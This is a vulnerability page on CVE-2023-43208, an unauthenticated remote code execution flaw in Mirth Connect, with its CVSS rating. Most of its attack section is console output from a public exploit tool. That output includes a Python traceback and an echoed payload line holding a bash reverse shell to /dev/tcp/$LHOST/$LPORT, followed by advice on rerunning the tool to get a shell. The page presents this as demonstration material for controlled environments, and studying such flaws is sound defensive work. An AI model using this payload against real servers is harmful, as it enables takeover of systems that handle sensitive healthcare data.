CVE-2023-43208:
Mirth Connect RCE
CVE-2023-43208 is a critical vulnerability in NextGen Healthcare Mirth Connect (versions before 4.4.1) that lets an unauthenticated remote attacker execute arbitrary code on the server, meaning they can potentially take over the host, run commands, drop malware/ransomware, pivot inside the network, and access or manipulate sensitive healthcare data processed by that system.
Below are general examples of techniques, methods, and proof-of-concept approaches used to demonstrate this vulnerability in a controlled environment.
First start a reverse shell listener:
Then exploit the target:
[*] ██████ ██ ██ ███████ ██████ ██████ ██████ ██████ ██ ██ ██████ ██████
██████ █████
[*] ██ ██ ██ ██ ██ ██ ████ ██ ██ ██ ██ ██ ██
██ ████ ██ ██
[*] ██ ██ ██ █████ █████ █████ ██ ██ ██ █████ █████ █████ ███████ █████ █████
██ ██ ██ █████
[*] ██ ██ ██ ██ ██ ████ ██ ██ ██ ██ ██ ██
████ ██ ██ ██
[*] ██████ ████ ███████ ███████ ██████ ███████ ██████ ██ ██████ ███████
██████ █████
[+] Coded By: K3ysTr0K3R and Chocapikk ( NSA, we're still waiting :D )
[*] Setting up listener on $LHOST:$LPORT and launching exploit...
Exception in thread Thread-1 (start_listener):
Traceback (most recent call last):
File "/home/kali/.pyenv/versions/3.10.19/lib/python3.10/threading.py", line 1016, in _bootstrap_inner
self.run()
File "/home/kali/.pyenv/versions/3.10.19/lib/python3.10/threading.py", line 953, in run
self._target(*self._args, **self._kwargs)
File "/tmp/CVE-2023-43208-EXPLOIT/CVE-2023-43208.py", line 55, in start_listener
with socket.create_server(("0.0.0.0", int(self.rshell_port))) as listener:
File "/home/kali/.pyenv/versions/3.10.19/lib/python3.10/socket.py", line 939, in create_server
raise error(err.errno, msg) from None
OSError: [Errno 98] Address already in use (while attempting to bind on address ('0.0.0.0', $LPORT))
[*] Looking for Mirth Connect instance...
[+] Found Mirth Connect instance
[+] Vulnerable Mirth Connect version 4.4.0 instance found at https://$TARGET
[!] sh -c $@|sh . echo bash -c '0<&53-;exec 53<>/dev/tcp/$LHOST/$LPORT;sh <&53 >&53 2>&53'
[*] Launching exploit against https://$TARGET...
You will get an error "Address already in use" since we have a nc listener our self. You can stop that listener and rerun the exploit again to get reverse shell inside the exploit script.
9.8
Critical risk
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Compexity
low
Privileges
none
Affected
< 4.4.1
Patched
>= 4.4.1